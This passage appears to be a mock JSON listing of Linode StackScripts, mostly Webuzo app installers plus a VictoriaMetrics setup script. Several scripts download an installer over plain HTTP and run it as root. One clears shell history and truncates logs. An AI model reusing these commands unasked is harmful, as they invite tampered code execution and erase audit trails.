based eCommerce solution for merchants to provide ability creating online \n# business and sell products online quick and efficient. \n###########################################################################################################\n\n# Install AbanteCart Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=389&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling AbanteCart and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, AbanteCart has been successfully installed\"\necho \" \"\necho \"You can now configure AbanteCart and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9249, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SiteCake powered by Webuzo", "description": "SiteCake is a drag and drop CMS for simple websites. It lets you publish the content just by dragging it to your web page. It''s CMS for static websites, with few pages only, to cover the niche below WordPress level of complexity.\r\n\r\nSiteCake was designed to be simple enough for a designer to integrate it on their own, without a need to hire a developer. SiteCake was designed to be simple enough for a site owner to change some text, swap some photos and add a video on their own, without a need to hire a web editor.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure SiteCake and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "SiteCake powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install SiteCake and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About SiteCake :\n# SiteCake is a drag and drop CMS for simple websites.\n# It lets you publish the content just by dragging it to your web page.\n# It''s CMS for static websites, with few pages only, to cover the niche below WordPress level of complexity.\n###########################################################################################################\n\n# Install SiteCake Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=480&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling SiteCake and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, SiteCake has been successfully installed\"\necho \" \"\necho \"You can now configure SiteCake and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 8994, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Joomla powered by Webuzo", "description": "Joomla is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla the most popular Web site software available. Best of all, Joomla is an open source solution that is freely available to everyone. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Joomla and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Joomla powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Joomla and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Joomla :\n# Joomla is an award-winning content management system (CMS), which enables you to build Web sites \n# and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made \n# Joomla the most popular Web site software available. Best of all, Joomla is an open source \n# solution that is freely available to everyone.\n###########################################################################################################\n\n# Install Joomla Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=413&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Joomla and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Joomla has been successfully installed\"\necho \" \"\necho \"You can now configure Joomla and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 8996, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "MyBB powered by Webuzo", "description": "MyBB is a free bulletin board system software package developed by the MyBB Group. \r\n\r\nA lot of thought has gone into the MyBB interface to make it easy to use. MyBB uses a standard discussion board structure, so your visitors will feel familiar with the way MyBB works.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure MyBB and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "MyBB powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install MyBB and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About MyBB :\n# MyBB is a free bulletin board system software package developed by the MyBB Group.\n###########################################################################################################\n\n# Install MyBB Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=36&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling MyBB and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, MyBB has been successfully installed\"\necho \" \"\necho \"You can now configure MyBB and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9252, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Pebble powered by Webuzo", "description": "Pebble is a lightweight, open source, Java EE blogging tool. It''s small, fast and feature-rich with unrivalled ease of installation and use.\r\n\r\nBlog content is stored as XML files on disk and served up dynamically, so there''s no need to install a database. All maintenance and administration can be performed through your web browser, making Pebble ideal for anybody who is constantly on the move or doesn''t have direct access to their host. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Pebble and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Pebble powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Pebble and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Pebble :\n# Pebble is a lightweight, open source, Java EE blogging tool.\n# It''s small, fast and feature-rich with unrivalled ease of installation and use.\n###########################################################################################################\n\n# Install Pebble Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=429&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Pebble and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Pebble has been successfully installed\"\necho \" \"\necho \"You can now configure Pebble and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 355877, "username": "evin2", "user_gravatar_id": "9db591667a2b7decad610db319c613bc", "label": "Epasqualetti", "description": "Test to call stackscript with label", "ordinal": 0, "logo_url": "", "images": ["linode/gentoo"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n\n# It works!", "user_defined_fields": []}, {"id": 1094693, "username": "santiachinelli", "user_gravatar_id": "5a5ea404116429697319f684006d6b93", "label": "loltest-public", "description": "loltest-public", "ordinal": 0, "logo_url": "", "images": ["any/all"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "created, public version", "script": "#!/bin/bash\n# \nsource \nsystem_set_hostname \"$HOSTNAME\"\nexec > >(tee /dev/ttyS0 /var/log/stackscript.log) 2>&1\napt update && apt upgrade -y && apt install -y curl wget net-tools traceroute jq\n# Generate files\nmkdir -p /etc/victoriametrics/single\nmkdir -p /var/lib/victoria-metrics-data\nmkdir -p /var/lib/cloud/scripts/per-instance\n# Create victoriametrics user\ngroupadd -r victoriametrics\nuseradd -g victoriametrics -d /var/lib/victoria-metrics-data -s /sbin/nologin --system victoriametrics\nchown -R victoriametrics:victoriametrics /var/lib/victoria-metrics-data\n# Install VictoriaMetrics Single\nVM_VERSION=`curl -sg \"https://api.github.com/repos/VictoriaMetrics/VictoriaMetrics/tags\" | jq -r ''.[0].name''`\nwget https://github.com/VictoriaMetrics/VictoriaMetrics/releases/download/${VM_VERSION}/victoria-metrics-linux-amd64-${VM_VERSION}.tar.gz -O /tmp/victoria-metrics.tar.gz\ntar xvf /tmp/victoria-metrics.tar.gz -C /usr/bin\nchmod +x /usr/bin/victoria-metrics-prod\nchown root:root /usr/bin/victoria-metrics-prod\ntouch /etc/victoriametrics/single/scrape.yml\nchown root:root /etc/victoriametrics/single/scrape.yml\ncat </etc/systemd/system/vmsingle.service\n[Unit]\nDescription=VictoriaMetrics is a fast, cost-effective and scalable monitoring solution and time series database.\n# https://docs.victoriametrics.com\nAfter=network.target\n[Service]\nType=simple\nUser=victoriametrics\nGroup=victoriametrics\nWorkingDirectory=/var/lib/victoria-metrics-data\nStartLimitBurst=5\nStartLimitInterval=0\nRestart=on-failure\nRestartSec=5\nEnvironmentFile=-/etc/victoriametrics/single/victoriametrics.conf\nExecStart=/usr/bin/victoria-metrics-prod \\$ARGS\nExecStop=/bin/kill -s SIGTERM \\$MAINPID\nExecReload=/bin/kill -HUP \\$MAINPID\n# See docs https://docs.victoriametrics.com/Single-server-VictoriaMetrics.html#tuning\nProtectSystem=full\nLimitNOFILE=1048576\nLimitNPROC=1048576\nLimitCORE=infinity\nStandardOutput=syslog\nStandardError=syslog\nSyslogIdentifier=vmsingle\n[Install]\nWantedBy=multi-user.target\nEND\ncat </etc/victoriametrics/single/victoriametrics.conf\n# See https://docs.victoriametrics.com/Single-server-VictoriaMetrics.html#list-of-command-line-flags to get more information about supported command-line flags\n# \n# If you use IPv6 pleas add \"-enableTCP6\" to args line\nARGS=\"-promscrape.config=/etc/victoriametrics/single/scrape.yml -storageDataPath=/var/lib/victoria-metrics-data -retentionPeriod=12 -httpListenAddr=:8428 -graphiteListenAddr=:2003 -opentsdbListenAddr=:4242 -influxListenAddr=:8089 -enableTCP6\"\nEND\ncat < /etc/profile.d/victoriametrics_welcome.sh\n#!/bin/sh\n#\nmyip=$(hostname -I | awk ''{print$1}'')\n******************************************************************************** \nWelcome to VictoriaMetrics Single.\nTo keep this server secure, the UFW firewall is enabled.\nAll ports are BLOCKED except 22 (SSH), 80 (HTTP), and 443 (HTTPS), 8428 (VictoriaMetrics HTTP), 8089 (VictoriaMetrics Influx),\n4242 (VictoriaMetrics OpenTSDB), 2003 (VictoriaMetrics Graphite)\nIn a web browser, you can view:\n * The VictoriaMetrics Quickstart guide: https://kutt.it/1click-quickstart\nOn the server:\n * The default VictoriaMetrics root is located at /var/lib/victoria-metrics-data\n * VictoriaMetrics is running on ports: 8428, 8089, 4242, 2003 and they are bound to the local interface.\n********************************************************************************\n # This image includes version v1.74.0 of VictoriaMetrics. \n # See Release notes https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.70.0\n # Welcome to VictoriaMetrics droplet!\n # Website: https://victoriametrics.com\n # Documentation: https://docs.victoriametrics.com\n # VictoriaMetrics Github : https://github.com/VictoriaMetrics/VictoriaMetrics\n # VictoriaMetrics Slack Community: https://slack.victoriametrics.com\n # VictoriaMetrics Telegram Community: https://t.me/VictoriaMetrics_en\n # VictoriaMetrics config: /etc/victoriametrics/single/victoriametrics.conf\n # VictoriaMetrics scrape config: /etc/victoriametrics/single/scrape.yml\n # VictoriaMetrics UI accessable on: http://your_droplet_public_ipv4:8428/vmui/\nEND\n# Enable UFW and add some rules to it\nsed -e ''s|DEFAULT_FORWARD_POLICY=.*|DEFAULT_FORWARD_POLICY=\"ACCEPT\"|g'' \\\n -i /etc/default/ufw\nufw allow ssh comment \"SSH port\"\nufw allow http comment \"HTTP port\"\nufw allow https comment \"HTTPS port\"\nufw allow 8428 comment \"VictoriaMetrics Single HTTP port\"\nufw allow 8089/tcp comment \"TCP Influx Listen port for VictoriaMetrics\"\nufw allow 8089/udp comment \"UDP Influx Listen port for VictoriaMetrics\"\nufw allow 2003/tcp comment \"TCP Graphite Listen port for VictoriaMetrics\"\nufw allow 2003/udp comment \"UDP Graphite Listen port for VictoriaMetrics\"\nufw allow 4242 comment \"OpenTSDB Listen port for VictoriaMetrics\"\nufw --force enable\n# Cleaning up\nrm -rf /tmp/* /var/tmp/*\nhistory -c\ncat /dev/null > /root/.bash_history\nunset HISTFILE\nfind /var/log -mtime -1 -type f ! -name ''stackscript.log'' -exec truncate -s 0 {} \\;\n# Start VictoriaMetrics\nsystemctl enable vmsingle.service\nsystemctl start vmsingle.service\necho \"Installation complete!\"", "user_defined_fields": [{"name": "hostname", "label": "Hostname"}]}, {"id": 9254, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Apache Roller powered by Webuzo", "description": "Apache Roller is a full-featured, multi-user and group-blog server suitable for blog sites large and small.\r\n\r\nApache Roller is a Java web application that should be able to run on any Java EE server and relational database. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Apache Roller and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Apache Roller powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Apache Roller and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Apache Roller :\n# Apache Roller is a full-featured, multi-user and group-blog server suitable for blog sites large and small.\n# Apache Roller is a Java web application that should be able to run on any Java EE server and relational database. \n###########################################################################################################\n\n# Install Apache Roller Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=484&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Apache Roller and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Apache Roller has been successfully installed\"\necho \" \"\necho \"You can now configure Apache Roller and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 8231, "username": "shakilaid1", "user_gravatar_id": "92c44b5a4f7186e4a6f2320505505b0c", "label": "ererer", "description": "errer", "ordinal": 0, "logo_url": "", "images": ["linode/debian7.4"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9255, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "WordPress + Nginx powered by Webuzo", "description": "WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability. WordPress is both free and priceless at the same time.\r\n\r\nMore simply, WordPress is what you use when you want to work with your blogging software, not fight it. \r\n\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure WordPress and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "WordPress + Nginx powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install WordPress + Nginx and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About WordPress :\n# WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability.\n# WordPress is both free and priceless at the same time.\n# More simply, WordPress is what you use when you want to work with your blogging software, not fight it.\n###########################################################################################################\n\n# Install WordPress Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=26&license=$1\"\n \n}\n\n# Install Nginx Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh --install=nginx,mysql,php53,perl,python2,pureftpd,bind >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling WordPress + NGINX and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, WordPress has been successfully installed\"\necho \" \"\necho \"You can now configure WordPress and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 102439, "username": "poohflya", "user_gravatar_id": "bf99d31a5d9641a61079b25a4c1f5757", "label": "DAM", "description": "DAM", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu17.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9001, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Concrete5 powered by Webuzo", "description": "Concrete5 makes running a website easy. Go to any page in your site, and a editing toolbar gives you all the controls you need to update your website. No intimidating manuals, no complicated administration interfaces - just point and click.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Concrete5 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Concrete5 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Concrete5 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Concrete5 :\n# Concrete5 makes running a website easy. Go to any page in your site, and a editing toolbar gives you \n# all the controls you need to update your website. No intimidating manuals, no complicated \n# administration interfaces - just point and click.\n###########################################################################################################\n\n# Install Concrete5 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=174&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Concrete5 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Concrete5 has been successfully installed\"\necho \" \"\necho \"You can now configure Concrete5 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 788010, "username": "EugeneFrank", "user_gravatar_id": "2861cc9c5bd8d573606b159f00ee7e53", "label": "a5455", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu18.04"], "deployments_total": 0, 